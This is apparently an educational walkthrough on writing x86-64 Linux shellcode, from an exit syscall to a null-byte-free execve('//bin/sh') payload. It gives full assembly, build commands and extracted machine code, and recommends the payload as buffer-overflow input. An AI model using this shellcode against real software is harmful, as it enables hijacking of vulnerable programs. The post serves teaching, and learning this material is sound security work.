A shellcode is a piece of compiled code that, when executed, it is going to launch a shell. It is typically given as input to a program to be eventually executed.
In this article, I am going to:
Introduce background information to understand the overall process
Create an assembly program that invoke an exit system call (exitcode)
Create an assembly program that invoke a shellcode
The shellcode is a piece of code that operates on the lowest level of the system architecture, therefore some important details are architecture dependent. In order to be run on a target system we need to know low level system details of the target architecture.
A system call is a way to invoke a function that is executed by the kernel.
In Linux there are several way to invoke a system call, the most common ones are either by int 0x80
or by syscall
.
The int 0x80
method is the legacy way of invoking a system call. It is available both on x86 and x64 architectures but in modern architecture should be avoided because it is slower.
The syscall
is the default way of invoking a system call only available on x64 architectures.
To invoke a syscall we need to know how interact with the system because each architecture has its own way to transition to kernel mode.
On Ubuntu, the man page is a good place to start: $ man syscall
.
Here, you can see that each system call has a number associated to it.
Under “Architecture calling conventions”, in the first table you can see that the x86-64 architecture requires the system call number to be placed in the rax register and the return value will be placed again in rax.
In the second table, you can see in which register you need to place the parameters passed as arguments.
To invoke a system call under the x86-64 architecture you need to place the parameters in rdi, rsi, rdx, r10, r8, r9 (in this order). If a system call needs more than 6 parameters you’ll have to place the other parameters on the stack.
Now we need to know what are the numbers associated to the system calls.
These numbers are defined usually located in the unistd_64.h file for 64 bit architecture (or in unistd_32.h file for 32 bit architecture).
In Ubuntu 18.04 64 bit, the system call numbers for 64 bit architecture are in:
/usr/src/linux-headers-4.15.0-52-generic/arch/x86/include/generated/uapi/asm/unistd_64.h.
(For 32 bit architecture are in: /usr/src/linux-headers-4.15.0-52-generic/arch/x86/include/generated/uapi/asm/unistd_32.h.)
In this example, we are going to build an assembly program to invoke the exit system call.
Let’s start by looking at the manual $ man exit
.
(By doing $ man exit
you are actually looking at the C function wrapper around the system call but the semantic and order of the parameters are kept.)
This function terminates the running program and returns the integer passed as first parameter.
To find the number of the exit system call we need to look at the unistd_64.h file. (Looking at the unistd_64.h file, the exit system call number is 60.)
The system call number needs to place in the rax register.
Now let’s write a simple assembly program with to invoke the exit system call:
; file: exit64.asm
global _start
section .text
_start:
mov rax, 0x3c
mov rdi, 0x05
syscall
In line 6, 0x3c is the hexadecimal number for the decimal number 60 i.e., the exit system call number. In line 7, 0x05 is the 1st parameter of the exit system call (i.e., the value returned when the program ends).
Let’s now compile the code as:
$ nasm -f elf64 -o exit64.o exit64.asm
$ ld -o exit64 exit64.o
If we execute the exit64
we can now see that the return value is indeed 5:
$ ./exit64
$ echo $?
5
To test this program we can place its machine code into a test program (as in How to Test a Shellcode)
To extract the machine code generated we can observe the decompiled code
$ objdump -M intel -d exit64
exit64: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: b8 3c 00 00 00 mov eax,0x3c
400085: bf 05 00 00 00 mov edi,0x5
40008a: 0f 05 syscall
$
The hexadecimal numbers in line 9, 10 and 11 (after the address) are the machine code generated from the assembly instructions that are shown in the same line.
This is what you want to copy to the test program, i.e.: b8 3c 00 00 00 bf 05 00 00 00 0f 05
.
If you want to try to run this exitcode in a C test program follow How to Test a Shellcode.
To enter an hexadecimal string into a C string use \x
before the number, therefore the exitcode will be \xb8\x3c\x00\x00\x00\xbf\x05\x00\x00\x00\x0f\x05
.
What happen if you try to give this string in input to a program that has a buffer overflow vulnerability? Will this work? Try it on Basic Stack-Based Buffer Overflow)
It will not work. Why? To give this string as input to a program we need few more things to take into account.
In C a strings end with the null byte i.e., \0
i.e., \x00
.
The functions that interact with the user to input data stop when they reach the end of the string. (see man page for )
We can immediately see that the exit code contains a lot of null bytes and therefore the complete code will not be copied entirely by those functions.
In circumstances the null bytes are not a problem but this is dependent on the input method used by a program.
How to avoid null bytes?
Let’s revise the exitcode:
; file: exit64_nnb.asm
global _start
section .text
_start:
mov al, 0x3c
xor rdi,rdi
inc di
inc di
inc di
inc di
inc di
syscall
With objdump
we can see that this assembly code does not produce any null bytes:
objdump -M intel -d ./exit64_nnb
./exit64_nnb: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: b0 3c mov al,0x3c
400082: 48 31 ff xor rdi,rdi
400085: 66 ff c7 inc di
400088: 66 ff c7 inc di
40008b: 66 ff c7 inc di
40008e: 66 ff c7 inc di
400091: 66 ff c7 inc di
400094: 0f 05 syscall
This is the code that we are able to give in input to a function that reads input data.
The easiest way to launch a shell is to invoke a the execve
system call with the appropriate parameters (see $ man execve
).
The syscall execve
wants 3 parameters. The first points to a string that is the path of the program that needs to be executed. The second parameter is an array of string pointers that point to the command line arguments of the program passed as first parameter. The third parameter is an array of environment variables as string.
We want to launch the shell \bin\sh
with no arguments.
Let’s see the code that opens a shell by invoking an execve
:
; file: execve64.asm
global _start
section .text
_start:
xor rdi,rdi
xor rsi,rsi
xor rdx,rdx
mov rdi,0x68732f6e69622f2f
shr rdi,0x08
push rdi
push rsp
pop rdi
push 0x3b
pop rax
syscall
As described in the Background Information, the system call number needs to be placed in rax
, while the parameters in rdi
, rsi
and then rdx
.
To correctly fill rdi
with the first parameter we need a pointer to the string \bin\sh
.
This is achieved in line 10, 11 and 12.
In line 10, I am moving into rdi
the value 0x68732f6e69622f2f
.
This number is the hexadecimal equivalent of the string hs/nib//
.
This is the reverse string of //bin/sh
(i.e., a shell string).
If the architecture is little endian a number will be stored in a 8 bytes memory location starting to fill the smallest part of the memory first. In this way the hexadecimal byte 0x68
(of the value 0x68732f6e69622f2f
) will be stored in the right most part of a memory, as:
After executing line 12, the rsp
will point to the first byte of the string, as:
(You can see the byte order of your architecture with the command $ lscpu
.)
In line 11, I am shifting the string by 8 bits to the right. Why? Because this will fill the left hand side of the rdi
register with zeros. Why this matter? Because every string in C is null terminated (i.e., terminated by a zero byte).
I could have used the value of 0x68732f6e69622f00
in line 10 but this will generate a null byte in the machine code that is better to avoid if we aim to use this code as a string.
In line 12, I am pushing the shell string to the stack. Why?
On a running program, after executing line 12, the stack pointer register rsp
will point to the shell string that is in the stack. For this reason, in line 13 I am saving the address of the stack pointer (rsp
) by pushing it to the stack and, in line 14, I am popping out this address to the rdi
register (i.e., the first parameter of the execve
system call).
In line 6,7 and 8 I am cleaning the registers (i.e., setting them to zero). In this way the second and third parameters are already set because we do not need to invoke the shell with any arguments and we do not need environment variables in this case.
In line 17 and 18 I am placing the value 0x3b
to the register rax
because 0x3b
is the value of the execve
system call (see how to find this number in Background Information).
Now, the last thing we need to do is to compile the code and extract the machine code generated, as:
$ nasm -f elf64 -o execve64.o execve64.asm
$ ld -o execve64 execve64.o
$ objdump -M intel -d ./execve64
./execve64: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: 48 31 ff xor rdi,rdi
400083: 48 31 f6 xor rsi,rsi
400086: 48 31 d2 xor rdx,rdx
400089: 48 bf 2f 2f 62 69 6e movabs rdi,0x68732f6e69622f2f
400090: 2f 73 68
400093: 48 c1 ef 08 shr rdi,0x8
400097: 57 push rdi
400098: 54 push rsp
400099: 5f pop rdi
40009a: 6a 3b push 0x3b
40009c: 58 pop rax
40009d: 0f 05 syscall
To test this program we can place its machine code into a test program (as in How to Test a Shellcode).
As we can see, there are no null bytes in the generated machine code, therefore this shellcode is suitable to be used as input in a buffer overflow, try it out on Basic Stack-Based Buffer Overflow.
There are several ways to generate a shellcode and this one is just an example.
The challenge in shellcoding is to write the smallest possible shellcode.
This is the end of this shellcoding walkthrough. I hope it was helpful, additional resources follows.
More to read about syscall:
More to read about exit system call: